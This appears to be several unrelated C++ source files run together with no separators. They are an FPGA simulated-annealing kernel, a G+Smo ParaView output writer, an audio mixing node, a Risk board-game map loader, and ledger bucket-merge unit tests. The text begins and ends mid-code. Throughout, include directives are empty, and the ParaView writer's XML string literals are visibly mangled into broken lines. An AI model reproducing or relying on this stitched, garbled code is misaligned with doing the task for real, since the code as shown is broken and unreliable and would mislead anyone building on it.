fp_t dHTmp = dH[t]; int i = iPre[t]; /* Index of This Spin */ /* Read Jcoup[i, j] */ fp_t JcoupTmp = JcoupStream[t].read(); /* Summation */ if (trotters[t][j]) { dHTmp += JcoupTmp; } else { dHTmp -= JcoupTmp; } /* Pass Down to Next Trotter */ if (t != nTrot - 1) { JcoupStream[t + 1] << JcoupTmp; } /* Final Step of this Stage of J[t, i] */ if (j == nSpin - 1) { /* More Cache */ fp_t hNext = (i != nSpin - 1) ? h[i + 1] : 0.0f; spin_t this_spin = trotters[t][i]; /* Compute Engery from up and down trotter */ if (up_trotter[t] == down_trotter[t]) { if (up_trotter[t]) dHTmp -= dHTunnel; else dHTmp += dHTunnel; } /* Times 2 and itself */ dHTmp *= 2.0f; if (!this_spin) { dHTmp = -dHTmp; } /* Flip */ if ((-Beta * dHTmp) > logRandNumber[t][i]) { trotters[t][i] = (!this_spin); } /* Reset */ dHTmp = hNext; } /* Store Back */ dH[t] = dHTmp; } } #else #if !UNROLL_TEST fp_t hNext_0 = (iPre[0] != nSpin - 1) ? h[iPre[0] + 1] : 0.0f; TrotterUnit<0>(nTrot, nSpin, ctlStep, iPre[0], j, startStep[0], endStep[0], trotters[0], up_trotter[0], down_trotter[0], dH[0], hNext_0, Beta, dHTunnel, logRandNumber[0], JcoupLocal[0]); fp_t hNext_1 = (iPre[1] != nSpin - 1) ? h[iPre[1] + 1] : 0.0f; TrotterUnit<1>(nTrot, nSpin, ctlStep, iPre[1], j, startStep[1], endStep[1], trotters[1], up_trotter[1], down_trotter[1], dH[1], hNext_1, Beta, dHTunnel, logRandNumber[1], JcoupLocal[1]); fp_t hNext_2 = (iPre[2] != nSpin - 1) ? h[iPre[2] + 1] : 0.0f; TrotterUnit<2>(nTrot, nSpin, ctlStep, iPre[2], j, startStep[2], endStep[2], trotters[2], up_trotter[2], down_trotter[2], dH[2], hNext_2, Beta, dHTunnel, logRandNumber[2], JcoupLocal[2]); fp_t hNext_3 = (iPre[3] != nSpin - 1) ? h[iPre[3] + 1] : 0.0f; TrotterUnit<3>(nTrot, nSpin, ctlStep, iPre[3], j, startStep[3], endStep[3], trotters[3], up_trotter[3], down_trotter[3], dH[3], hNext_3, Beta, dHTunnel, logRandNumber[3], JcoupLocal[3]); #else LOOP_TROTTERS: for (int t = 0; t < MAX_NTROT; t++) { #pragma HLS UNROLL #pragma HLS DEPENDENCE variable = trotters inter false #pragma HLS DEPENDENCE variable = logRandNumber inter false #pragma HLS DEPENDENCE variable = JcoupLocal inter false #pragma HLS DEPENDENCE variable = dH inter false #pragma HLS DEPENDENCE variable = startStep inter false #pragma HLS DEPENDENCE variable = endStep inter false #pragma HLS DEPENDENCE variable = up inter false #pragma HLS DEPENDENCE variable = down inter false #pragma HLS DEPENDENCE variable = up_trotter inter false #pragma HLS DEPENDENCE variable = down_trotter inter false #pragma HLS DEPENDENCE variable = iPre inter false int i = iPre[t]; fp_t hNext = (i != nSpin - 1) ? h[i + 1] : 0.0f; TrotterUnit(nTrot, nSpin, ctlStep, t, i, j, startStep[t], endStep[t], trotters[t], up_trotter[t], down_trotter[t], dH[t], hNext, Beta, dHTunnel, logRandNumber[t], JcoupLocal[t]); } #endif #endif #if !UNIT } #endif } } gismo/gsElasticitygsWriteParaviewMultiPhysics.hpp1-10 /** @file gsWriteParaviewMultiPhysics.cpp @brief Provides implementation for gsWriteParaviewMultiPhysics.h This file is part of the G+Smo library. This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. Author(s): (TU Kaiserslautern) Inspired by gsWriteParaview.hpp by */ #include #include #include #include #include #include #include #define PLOT_PRECISION 11 namespace gismo { //---------- START REPEATED from gsWriteParaview.hpp template void writeSingleControlNet(const gsGeometry & Geo, std::string const & fn) { const short_t d = Geo.parDim(); gsMesh msh; Geo.controlNet(msh); const short_t n = Geo.geoDim(); if ( n == 1 ) { gsMatrix anch = Geo.basis().anchors(); // Lift vertices at anchor positions for (std::size_t i = 0; i!= msh.numVertices(); ++i) { msh.vertex(i)[d] = msh.vertex(i)[0]; msh.vertex(i).topRows(d) = anch.col(i); } } else if (n>3) { gsDebug<<"Writing 4th coordinate\n"; const gsMatrix & cp = Geo.coefs(); gsWriteParaviewPoints(cp.transpose(), fn ); return; } gsWriteParaview(msh, fn, false); } template void writeSingleCompMesh(const gsBasis & basis, const gsGeometry & Geo, std::string const & fn, unsigned resolution = 8) { gsMesh msh(basis, resolution); Geo.evaluateMesh(msh); gsWriteParaview(msh, fn, false); } //---------- END REPEATED from gsWriteParaview.hpp template void gsWriteParaviewMultiPhysics(std::map*> fields, std::string const & fn, unsigned npts, bool mesh, bool ctrlNet) { const unsigned numP = fields.begin()->second->patches().nPatches(); gsParaviewCollection collection(fn); std::string fileName = fn.substr(fn.find_last_of("/\\")+1); // file name without a path for ( unsigned i=0; i < numP; ++i ) { const gsBasis<> & dom = fields.begin()->second->isParametrized() ? fields.begin()->second->igaFunction(i).basis() : fields.begin()->second->patch(i).basis(); gsWriteParaviewMultiPhysicsSinglePatch( fields, i, fn + util::to_string(i), npts); collection.addPart(fileName + util::to_string(i), ".vts"); if ( mesh ) { writeSingleCompMesh(dom, fields.begin()->second->patch(i), fn + util::to_string(i) + "_mesh"); collection.addPart(fileName + util::to_string(i) + "_mesh", ".vtp"); } if ( ctrlNet ) // Output the control net { writeSingleControlNet(fields.begin()->second->patch(i), fn + util::to_string(i) + "_cnet"); collection.addPart(fileName + util::to_string(i) + "_cnet", ".vtp"); } } collection.save(); } template void gsWriteParaviewMultiPhysicsTimeStep(std::map *> fields, std::string const & fn, gsParaviewCollection & collection, int time, unsigned npts) { const unsigned numP = fields.begin()->second->patches().nPatches(); std::string fileName = fn.substr(fn.find_last_of("/\\")+1); // file name without a path for ( size_t p = 0; p < numP; ++p) { gsWriteParaviewMultiPhysicsSinglePatch(fields,p,fn + util::to_string(time) + "_" + util::to_string(p),npts); collection.addTimestep(fileName + util::to_string(time) + "_",p,time,".vts"); } } template void gsWriteParaviewMultiPhysicsSinglePatch(std::map *> fields, const unsigned patchNum, std::string const & fn, unsigned npts) { const gsGeometry<> & geometry = fields.begin()->second->patches().patch(patchNum); const short_t n = geometry.targetDim(); const short_t d = geometry.domainDim(); gsMatrix<> ab = geometry.support(); gsVector<> a = ab.col(0); gsVector<> b = ab.col(1); gsVector np = distributePoints(geometry,npts); gsMatrix<> pts = gsPointGrid(a,b,np); gsMatrix<> eval_geo = geometry.eval(pts); std::map > data; for (typename std::map *>::iterator it = fields.begin(); it != fields.end(); it++) { data[it->first] = it->second->isParametric() ? it->second->function(patchNum).eval(pts) : it->second->function(patchNum).eval(eval_geo); if ( data[it->first].rows() == 2 ) { data[it->first].conservativeResize(3,eval_geo.cols() ); data[it->first].row(2).setZero(); } } if (3 -d > 0) { np.conservativeResize(3); np.bottomRows(3-d).setOnes(); } else if (d > 3) { gsWarn<< "Cannot plot 4D data.\n"; return; } if ( 3 - n > 0 ) { eval_geo.conservativeResize(3,eval_geo.cols() ); eval_geo.bottomRows(3-n).setZero(); } else if (n > 3) { gsWarn<< "Data is more than 3 dimensions.\n"; } /*for (typename std::map >::iterator it = data.begin(); it != data.end(); it++) { if ( it->second.rows() > 1 ) { it->second.conservativeResize(3,eval_geo.cols() ); it->second.bottomRows( 3-dd ).setZero(); } }*/ gsWriteParaviewMultiTPgrid(eval_geo, data, np.template cast(), fn); } template void gsWriteParaviewMultiTPgrid(gsMatrix const& points, std::map >& data, const gsVector & np, std::string const & fn) { const int n = points.rows(); std::string mfn(fn); mfn.append(".vts"); std::ofstream file(mfn.c_str()); file << std::fixed; // no exponents file << std::setprecision (PLOT_PRECISION); file <<"\n"; file <<"\n"; file <<"2 ? np(2)-1 : 0) <<"\">\n"; file <<"2 ? np(2)-1 : 0) <<"\">\n"; file <<"\n"; for (typename std::map >::iterator it = data.begin(); it != data.end(); it++) { file <<"first <<"\" format=\"ascii\" NumberOfComponents=\""<< ( it->second.rows()==1 ? 1 : 3) <<"\">\n"; if ( it->second.rows()==1 ) for ( index_t j=0; jsecond.cols(); ++j) file<< it->second.at(j) <<" "; else { for ( index_t j=0; jsecond.cols(); ++j) { for ( index_t i=0; i!=it->second.rows(); ++i) file<< it->second(i,j) <<" "; for ( index_t i=it->second.rows(); i<3; ++i) file<<"0 "; } } file <<"\n"; } file <<"\n"; file <<"\n"; file <<"\n"; for ( index_t j=0; j\n"; file <<"\n"; file <<"\n"; file <<"\n"; file <<"\n"; file.close(); } } #undef PLOT_PRECISION src/ck/audio/mixnode.cpp #include "ck/audio/mixnode.h" #include "ck/audio/audioutil.h" #include "ck/audio/audiograph.h" #include "ck/core/mem.h" #include "ck/core/logger.h" #include "ck/core/math.h" #include "ck/core/debug.h" #include "ck/core/system.h" namespace Cki { MixNode::MixNode() : m_inputs(), m_bufMem(NULL) { allocateBuffer(); // don't add to pool on main thread } MixNode::~MixNode() { Mem::free(m_bufMem); } BufferHandle MixNode::processFloat(int frames, bool post, bool& needsPost) { return process(frames, post, needsPost); } BufferHandle MixNode::processFixed(int frames, bool post, bool& needsPost) { return process(frames, post, needsPost); } template BufferHandle MixNode::process(int frames, bool post, bool& needsPost) { // find first active input BufferHandle firstBufHandle; AudioNode* input = m_inputs.getFirst(); while (input) { firstBufHandle = input->process(frames, post, needsPost); input = input->getNext(); if (firstBufHandle.isValid()) { break; } } if (!firstBufHandle.isValid()) { return firstBufHandle; // no active inputs } if (!m_buf.getMem()) { if (!m_bufMem) { allocateBuffer(); // since alloc may have failed first time } if (m_bufMem) { m_buf.init(m_bufMem); getBufferPool()->add(m_buf); } else { return firstBufHandle; } } AudioGraph* graph = AudioGraph::get(); const CkConfig& config = System::get()->getConfig(); float renderLimitMs = config.audioUpdateMs * config.maxRenderLoad; #if CK_PLATFORM_WP8 // seem to get "false positives" on wp8; i.e. warning is shown with no audible artifacts. maybe some internal buffering in xaudio2? renderLimitMs += 2.0f; #endif // bail out if rendering is taking too long if (graph->getRenderMs() > renderLimitMs) { printCpuWarning(graph->getRenderMs()); return firstBufHandle; } while (input) { BufferHandle nextBufHandle = input->process(frames, post, needsPost); if (nextBufHandle.isValid()) { // bail out if rendering is taking too long if (graph->getRenderMs() > renderLimitMs) { printCpuWarning(graph->getRenderMs()); break; } AudioUtil::mix((const T*) nextBufHandle.get(), (T*) firstBufHandle.get(), frames * k_maxChannels); } input = input->getNext(); } return firstBufHandle; } void MixNode::execute(int cmdId, CommandParam param0, CommandParam param1) { switch (cmdId) { case k_addInput: addInput((AudioNode*) param0.addrValue); break; case k_removeInput: removeInput((AudioNode*) param0.addrValue); break; case k_detach: { BufferPool* pool = getBufferPool(); if (pool) { pool->remove(m_buf); } } break; default: CK_FAIL("unknown command"); }; } void MixNode::addInput(AudioNode* src) { m_inputs.addFirst(src); } void MixNode::removeInput(AudioNode* src) { m_inputs.remove(src); } #if CK_DEBUG void MixNode::print(int level) { printImpl(level, "mix"); AudioNode* input = m_inputs.getFirst(); while (input) { input->print(level+1); input = input->getNext(); } } #endif void MixNode::allocateBuffer() { // 64-byte alignment (16 words) for faster ARM NEON accesses m_bufMem = Mem::alloc(getBufferPool()->getBufferSize() * sizeof(int32), 64); if (!m_bufMem) { CK_LOG_ERROR("Could not allocate mix buffer"); } } Timer MixNode::s_cpuWarningTimer; void MixNode::printCpuWarning(float ms) { if (!s_cpuWarningTimer.isRunning() || s_cpuWarningTimer.getElapsedMs() > 500.0f) { s_cpuWarningTimer.start(); s_cpuWarningTimer.reset(); CK_LOG_WARNING("Audio rendering is taking too long (%f ms); some sounds will not be played.", ms); } } } #include #include #include "risk_map.h" #include "debug.h" RiskMap::RiskMap(){} RiskMap::~RiskMap(){ this->clear(); } const std::map& RiskMap::getContinents() const { return this->continents; } const std::map& RiskMap::getCountries() const { return this->countries; } const std::map& RiskMap::getPlayers() const { return this->players; } /** * @brief Adds the provided continent to the map. * Countries must be added separately via addCountry(). */ void RiskMap::addContinent(const Continent& continent){ continents[continent.getName()] = continent; this->notifyObservers(); } /** * @brief Gets a pointer to the continent given its name */ Continent* RiskMap::getContinent(const std::string& name){ return &this->continents[name]; } /** * @brief Gets a set of country names that belong to a continent */ string_set RiskMap::getCountriesInContinent(const std::string& continentName) { return mapGraph.subgraphContents(continentName); } /** * @brief Adds a country to the map belonging to the given continent. * The continent will be created if it does not yet exist. */ Country* RiskMap::addCountry(const Country& country, const std::string& continentName){ if (continents.find(continentName) == continents.end()) { continents[continentName] = Continent(continentName); } if (countries.find(country.getName()) == countries.end()) { countries[country.getName()] = country; cards++; } if (!mapGraph.insertNode(country.getName(), continentName)) return nullptr; this->notifyObservers(); return &this->countries[country.getName()]; } /** * @brief Gets a pointer to the country given its name */ Country* RiskMap::getCountry(const std::string& countryName){ return &this->countries[countryName]; } /** * @brief Removes a country from the map. */ void RiskMap::removeCountry(const Country& country){ std::string continent = (this->getContinentOfCountry(country.getName()))->getName(); countries.erase(country.getName()); if (mapGraph.removeNode(country.getName())){ continents.erase(continent); } this->notifyObservers(); } /** * @brief Renames a country in the map */ void RiskMap::renameCountry(const std::string oldName, const std::string newName){ auto it = countries.find(oldName); if (it != countries.end()){ (it->second).setName(newName); std::swap(countries[newName], it->second); countries.erase(oldName); mapGraph.renameNode(oldName, newName); this->notifyObservers(); } } /** * @brief Marks two countries as neighboring. * Makes countries attackable from one another. */ void RiskMap::addNeighbour(const std::string& country1, const std::string& country2){ mapGraph.insertEdge(country1, country2); this->notifyObservers(); } string_set RiskMap::getNeighbours(const std::string& countryName){ return mapGraph.incidentEdges(countryName); } /** * @brief Verifies if two countries are adjacent/neighbors. */ bool RiskMap::areCountriesNeighbours(const std::string& country1, const std::string& country2) { return mapGraph.areAdjacent(country1, country2); } /** * @brief Unmarks two countries as neighboring. * Makes countries unattackable from one another. */ void RiskMap::removeNeighbour(const std::string& country1, const std::string& country2){ mapGraph.removeEdge(country1, country2); this->notifyObservers(); } /** * @brief Gets a pointer to the continent a country belongs to */ Continent* RiskMap::getContinentOfCountry(const std::string& countryName){ std::string continentName(mapGraph.getSubgraphName(countryName)); return &continents[continentName]; } /** * @brief Adds a player to the map */ Player* RiskMap::addPlayer(const Player& player) { if (this->players.find(player.getName()) == this->players.end()) { this->players[player.getName()] = player; } this->notifyObservers(); return &this->players[player.getName()]; } /** * @brief Gets a player by their name */ Player* RiskMap::getPlayer(const std::string& playerName){ return &this->players[playerName]; } /** * @brief Gets a list of country names owned by a player */ string_set RiskMap::getCountriesOwnedByPlayer(const std::string& playerName) { string_set countriesOwned; for (auto &ent1: this->countries) { Country& country = ent1.second; if (country.getPlayer() == playerName) { countriesOwned.insert(country.getName()); } } return countriesOwned; } /** * @brief Gets a list of continent names owned by a player */ string_set RiskMap::getContinentsOwnedByPlayer(const std::string& playerName) { string_set continentsOwned; for (auto &ent1: this->continents) { std::string continentName = ent1.first; string_set countriesInContent = this->getCountriesInContinent(continentName); bool totalOwnership = true; for (auto &countryName: countriesInContent) { Country* country = this->getCountry(countryName); if (country->getPlayer() != playerName) { totalOwnership = false; break; } } if (totalOwnership) { continentsOwned.insert(continentName); } } return continentsOwned; } /** * @brief RiskMap::getCards returns the total number of cards available * @return */ int RiskMap::getCards() { return cards; } /** * @brief RiskMap::takeCards Removes a number of cards from the deck * @param numberOfCards The number of cards to take from the available deck */ int RiskMap::updateCards(int numberOfCards) { cards += numberOfCards; return cards; } /** * @brief Given path to a Conquest map file, build a new RiskMap object */ void RiskMap::load(const std::string& path) { struct stat buffer; bool exists = (stat (path.c_str(), &buffer) == 0); if (!exists) { return; } std::string extension = path.substr(path.size() - 3, 3); std::transform(extension.begin(), extension.end(), extension.begin(), ::tolower); debug("Extension: " + extension); this->setNotificationsEnabled(false); if (extension == "map") { this->loadMap(path); } else if (extension == "xml") { this->loadXML(path); } this->setNotificationsEnabled(true); } /** * @brief Parses the Cereal XML map file in the path indicated to populate the instance */ void RiskMap::loadXML(const std::string& path) { std::ifstream infile(path); cereal::XMLInputArchive input(infile); input(cereal::make_nvp("maprisk", *this)); } /** * @brief Parses the Conquest .map map file in the path indicated to populate the instance */ void RiskMap::loadMap(const std::string& path) { std::ifstream infile(path); std::string line; int mode = 0; while (std::getline(infile, line)) { std::string debug_str("Read line: "); debug_str.append(line); debug(debug_str); // Windows prefers /r/n, but getline() breaks only on \n. if (line.size() > 0 && line[line.size() - 1] == '\r') { line.resize(line.size() - 1); } // Set the mode for how we should process lines based on section headers if (line.compare("[Map]") == 0) { mode = MAP_PARSE_MODE_MAP; debug(" Parsing map metadata"); continue; } if (line.compare("[Continents]") == 0) { mode = MAP_PARSE_MODE_CONTINENTS; debug(" Parsing continents"); continue; } if (line.compare("[Territories]") == 0) { mode = MAP_PARSE_MODE_COUNTRIES; debug(" Parsing countries"); continue; } // Process lines per the current mode. std::string item; std::stringstream line_stream(line); std::vector values; if (mode == MAP_PARSE_MODE_MAP || line.length() == 0) { debug_str = " Skipping: "; debug_str.append(line); debug(debug_str); continue; } else if (mode == MAP_PARSE_MODE_CONTINENTS) { while (std::getline(line_stream, item, '=')) { values.push_back(item); } debug_str = " Adding continent: "; debug_str.append(values[0]); debug(debug_str); Continent continent(values[0]); continent.setReinforcementBonus(atoi(values[1].c_str())); this->addContinent(continent); } else if (mode == MAP_PARSE_MODE_COUNTRIES) { while (std::getline(line_stream, item, ',')) { values.push_back(item); } std::string continentName(values[3]); debug_str = " Adding country: "; debug_str.append(values[0]); debug_str.append(" in continent "); debug_str.append(continentName); debug(debug_str); Country country(values[0]); country.setPositionX(atoi(values[1].c_str())); country.setPositionY(atoi(values[2].c_str())); country.setArmies(0); this->addCountry(country, continentName); } else { debug("Error parsing line: " + line); return; } } debug("Parsing file again to configure adjacencies"); infile.clear(); infile.seekg(0, std::ios_base::beg); while (std::getline(infile, line)) { std::string debug_str("Read line: "); debug_str.append(line); debug(debug_str); // Windows prefers /r/n, but getline() breaks only on \n. if (line.size() > 0 && line[line.size() - 1] == '\r') { line.resize(line.size() - 1); } // Set the mode for how we should process lines based on section headers if (line.compare("[Map]") == 0) { mode = MAP_PARSE_MODE_MAP; debug(" Parsing map metadata"); continue; } if (line.compare("[Continents]") == 0) { mode = MAP_PARSE_MODE_CONTINENTS; debug(" Parsing continents"); continue; } if (line.compare("[Territories]") == 0) { mode = MAP_PARSE_MODE_COUNTRIES; debug(" Parsing countries"); continue; } // Process lines per the current mode. std::string item; std::stringstream line_stream(line); std::vector values; if (mode != MAP_PARSE_MODE_COUNTRIES || line.length() == 0) { debug_str = " Skipping: "; debug_str.append(line); debug(debug_str); continue; } else if (mode == MAP_PARSE_MODE_COUNTRIES) { while (std::getline(line_stream, item, ',')) { values.push_back(item); } Country* country = this->getCountry(values[0]); std::vector::iterator iter; for (iter = values.begin() + 4; iter < values.end(); iter++) { Country* neighbour = this->getCountry(*iter); this->addNeighbour(country->getName(), neighbour->getName()); debug_str = " "; debug_str.append(country->getName()); debug_str.append(" touches "); debug_str.append(neighbour->getName()); debug(debug_str); } } else { debug("Error parsing line: " + line); return; } } debug("Finished parsing: " + path); } bool RiskMap::save(SaveType saveType, std::string path) { std::string extension = ""; bool success = false; switch (saveType) { case MAP: extension = ".map"; path.append(extension); success = this->saveMap(path); break; case XML: extension = ".xml"; path.append(extension); success = this->saveXML(path); break; default: return false; } std::string debug_str("Saved map file to "); debug_str.append(path); debug(debug_str); return success; } /** * @brief Serialize the map data into a new Conquest map data file at the given path */ bool RiskMap::saveMap(const std::string& path) { std::ofstream outfile(path, std::ios::out); if (!outfile.is_open()) { return false; } outfile << "[Continents]" << std::endl; for (auto const &ent1 : this->continents) { const Continent& continent = ent1.second; outfile << continent.getName() << "=" << continent.getReinforcementBonus() << std::endl; } outfile << std::endl; outfile << "[Territories]" << std::endl; for (auto const &ent1 : this->countries) { const Country& country = ent1.second; const Continent* continent = this->getContinentOfCountry(country.getName()); outfile << country.getName() << "," << country.getPositionX() << "," << country.getPositionY() << "," << continent->getName(); for (auto const &neighbour_country : this->getNeighbours(country.getName())) { outfile << "," << neighbour_country; } outfile << std::endl; } outfile << std::endl; outfile.close(); return true; } /** * @brief Erases all data about the map. */ bool RiskMap::saveXML(const std::string& path) { std::ofstream outfile(path, std::ios::out); if (!outfile.is_open()) { return false; } cereal::XMLOutputArchive archive( outfile ); archive(cereal::make_nvp("maprisk",*this)); return true; } void RiskMap::clear() { this->continents.clear(); this->countries.clear(); this->mapGraph = SubGraphADT(); this->notifyObservers(); } /** * @brief validate validates the map is valid. */ bool RiskMap::validate() { bool result; // Check all countries form a connected graph result = isConnectedGraph(""); if (!result) { return false; } // Check each continent's countries are connected subgraphs for (auto const &ent1 : this->continents) { const Continent& continent = ent1.second; result = isConnectedGraph(continent.getName()); if (!result) { return false; } } return true; } /** * @brief Helper method for isConnectedGraph(). */ void RiskMap::isConnectedGraphHelper(std::map& visited, Country* country, const std::string& limitTo) { if (limitTo.size() > 0 && this->getContinentOfCountry(country->getName())->getName().compare(limitTo) != 0) { return; } bool& was_visited = visited.at(country); if (was_visited) { return; } was_visited = true; for (auto const &neighbourName : this->getNeighbours(country->getName())) { Country* neighbour = this->getCountry(neighbourName); this->isConnectedGraphHelper(visited, neighbour, limitTo); } } /** * @brief Determines if the countries on the map are a connected graph. * @param limitTo Limits the search to the given continent (by string name) */ bool RiskMap::isConnectedGraph(const std::string& limitTo) { std::map visited = std::map(); for (auto const &ent1 : this->countries) { const Country& country = ent1.second; if (limitTo.size() > 0 && this->getContinentOfCountry(country.getName())->getName().compare(limitTo) != 0) { continue; } visited.insert(std::pair(&country, false)); } Country* country = nullptr; if (limitTo.size() > 0) { country = this->getCountry(*this->getCountriesInContinent(limitTo).begin()); } else { country = &this->countries.begin()->second; } this->isConnectedGraphHelper(visited, country, limitTo); for (auto const &ent1 : visited) { if (!ent1.second) { Country country = *ent1.first; debug("Country " + country.getName() + " is not connected."); return false; } } return true; } // Copyright 2020 AiBlocks Development Foundation and contributors. Licensed // under the Apache License, Version 2.0. See the COPYING file at the root // of this distribution or at http://www.apache.org/licenses/LICENSE-2.0 // This file contains tests for individual Buckets, low-level invariants // concerning the composition of buckets, the semantics of the merge // operation(s), and the perfomance of merging and applying buckets to the // database. // ASIO is somewhat particular about when it gets included -- it wants to be the // first to include -- so we try to include it before everything // else. #include "util/asio.h" #include "bucket/BucketTests.h" #include "bucket/Bucket.h" #include "bucket/BucketInputIterator.h" #include "bucket/BucketManager.h" #include "bucket/BucketOutputIterator.h" #include "ledger/LedgerTxn.h" #include "ledger/test/LedgerTestUtils.h" #include "lib/catch.hpp" #include "main/Application.h" #include "test/TestUtils.h" #include "test/test.h" #include "util/Fs.h" #include "util/Logging.h" #include "util/Math.h" #include "util/Timer.h" #include "xdrpp/autocheck.h" using namespace aiblocks; namespace BucketTests { static std::ifstream::pos_type fileSize(std::string const& name) { assert(fs::exists(name)); std::ifstream in(name, std::ifstream::ate | std::ifstream::binary); REQUIRE(!!in); in.exceptions(std::ios::badbit); return in.tellg(); } uint32_t getAppLedgerVersion(Application& app) { auto const& lcl = app.getLedgerManager().getLastClosedLedgerHeader(); return lcl.header.ledgerVersion; } uint32_t getAppLedgerVersion(Application::pointer app) { return getAppLedgerVersion(*app); } void for_versions_with_differing_bucket_logic( Config const& cfg, std::function const& f) { for_versions({Bucket::FIRST_PROTOCOL_SUPPORTING_INITENTRY_AND_METAENTRY - 1, Bucket::FIRST_PROTOCOL_SUPPORTING_INITENTRY_AND_METAENTRY, Bucket::FIRST_PROTOCOL_SHADOWS_REMOVED}, cfg, f); } void for_versions_with_differing_initentry_logic( Config const& cfg, std::function const& f) { for_versions({Bucket::FIRST_PROTOCOL_SUPPORTING_INITENTRY_AND_METAENTRY - 1, Bucket::FIRST_PROTOCOL_SUPPORTING_INITENTRY_AND_METAENTRY}, cfg, f); } EntryCounts::EntryCounts(std::shared_ptr bucket) { BucketInputIterator iter(bucket); if (iter.seenMetadata()) { ++nMeta; } while (iter) { switch ((*iter).type()) { case INITENTRY: ++nInit; break; case LIVEENTRY: ++nLive; break; case DEADENTRY: ++nDead; break; case METAENTRY: // This should never happen: only the first record can be METAENTRY // and it is counted above. abort(); } ++iter; } } size_t countEntries(std::shared_ptr bucket) { EntryCounts e(bucket); return e.sum(); } } using namespace BucketTests; TEST_CASE("file backed buckets", "[bucket][bucketbench]") { VirtualClock clock; Config const& cfg = getTestConfig(); for_versions_with_differing_bucket_logic(cfg, [&](Config const& cfg) { Application::pointer app = createTestApplication(clock, cfg); autocheck::generator deadGen; CLOG(DEBUG, "Bucket") << "Generating 10000 random ledger entries"; std::vector live(9000); std::vector dead(1000); for (auto& e : live) e = LedgerTestUtils::generateValidLedgerEntry(3); for (auto& e : dead) e = deadGen(3); CLOG(DEBUG, "Bucket") << "Hashing entries"; std::shared_ptr b1 = Bucket::fresh( app->getBucketManager(), getAppLedgerVersion(app), {}, live, dead, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); for (uint32_t i = 0; i < 5; ++i) { CLOG(DEBUG, "Bucket") << "Merging 10000 new ledger entries into " << (i * 10000) << " entry bucket"; for (auto& e : live) e = LedgerTestUtils::generateValidLedgerEntry(3); for (auto& e : dead) e = deadGen(3); { b1 = Bucket::merge( app->getBucketManager(), app->getConfig().LEDGER_PROTOCOL_VERSION, b1, Bucket::fresh(app->getBucketManager(), getAppLedgerVersion(app), {}, live, dead, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true), /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); } } CLOG(DEBUG, "Bucket") << "Spill file size: " << fileSize(b1->getFilename()); }); } TEST_CASE("merging bucket entries", "[bucket]") { VirtualClock clock; Config const& cfg = getTestConfig(); for_versions_with_differing_bucket_logic(cfg, [&](Config const& cfg) { Application::pointer app = createTestApplication(clock, cfg); auto& bm = app->getBucketManager(); auto vers = getAppLedgerVersion(app); auto checkDeadAnnihilatesLive = [&](LedgerEntryType let) { std::string entryType = xdr::xdr_traits::enum_name(let); SECTION("dead " + entryType + " annihilates live " + entryType) { LedgerEntry liveEntry; liveEntry.data.type(let); switch (let) { case ACCOUNT: liveEntry.data.account() = LedgerTestUtils::generateValidAccountEntry(10); break; case TRUSTLINE: liveEntry.data.trustLine() = LedgerTestUtils::generateValidTrustLineEntry(10); break; case OFFER: liveEntry.data.offer() = LedgerTestUtils::generateValidOfferEntry(10); break; case DATA: liveEntry.data.data() = LedgerTestUtils::generateValidDataEntry(10); break; case CLAIMABLE_BALANCE: liveEntry.data.claimableBalance() = LedgerTestUtils::generateValidClaimableBalanceEntry(10); break; default: abort(); } auto deadEntry = LedgerEntryKey(liveEntry); auto bLive = Bucket::fresh(bm, vers, {}, {liveEntry}, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bDead = Bucket::fresh(bm, vers, {}, {}, {deadEntry}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b1 = Bucket::merge(bm, vers, bLive, bDead, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); CHECK(countEntries(b1) == 1); } }; checkDeadAnnihilatesLive(ACCOUNT); checkDeadAnnihilatesLive(TRUSTLINE); checkDeadAnnihilatesLive(OFFER); checkDeadAnnihilatesLive(DATA); checkDeadAnnihilatesLive(CLAIMABLE_BALANCE); SECTION("random dead entries annihilates live entries") { std::vector live(100); std::vector dead; for (auto& e : live) { e = LedgerTestUtils::generateValidLedgerEntry(10); if (rand_flip()) { dead.push_back(LedgerEntryKey(e)); } } auto bLive = Bucket::fresh(bm, vers, {}, live, {}, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto bDead = Bucket::fresh(bm, vers, {}, {}, dead, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); auto b1 = Bucket::merge(bm, vers, bLive, bDead, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); EntryCounts e(b1); CHECK(e.sum() == live.size()); CLOG(DEBUG, "Bucket") << "post-merge live count: " << e.nLive << " of " << live.size(); CHECK(e.nLive == live.size() - dead.size()); } SECTION("random live entries overwrite live entries in any order") { std::vector live(100); std::vector dead; for (auto& e : live) { e = LedgerTestUtils::generateValidLedgerEntry(10); } std::shared_ptr b1 = Bucket::fresh( app->getBucketManager(), getAppLedgerVersion(app), {}, live, dead, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); std::random_shuffle(live.begin(), live.end()); size_t liveCount = live.size(); for (auto& e : live) { if (rand_flip()) { e = LedgerTestUtils::generateValidLedgerEntry(10); ++liveCount; } } std::shared_ptr b2 = Bucket::fresh( app->getBucketManager(), getAppLedgerVersion(app), {}, live, dead, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); std::shared_ptr b3 = Bucket::merge(app->getBucketManager(), app->getConfig().LEDGER_PROTOCOL_VERSION, b1, b2, /*shadows=*/{}, /*keepDeadEntries=*/true, /*countMergeEvents=*/true, clock.getIOContext(), /*doFsync=*/true); CHECK(countEntries(b3) == liveCount); } }); } static LedgerEntry generateAccount() { LedgerEntry e; e.data.type(ACCOUNT); e.data.account() = LedgerTestUtils::generateValidAccountEntry(10); return e; } static LedgerEntry generateSameAccountDifferentState(std::vector const& others) { assert( std::all_of(others.begin(), others.end(), [](LedgerEntry const& other) { return other.data.type() == ACCOUNT; })); assert(!others.empty()); while (true) { auto e = generateAccount(); e.data.account().accountID = others[0].data.account().accountID; if (std::none_of(others.begin(), others.end(), [&](LedgerEntry const& other) { return e 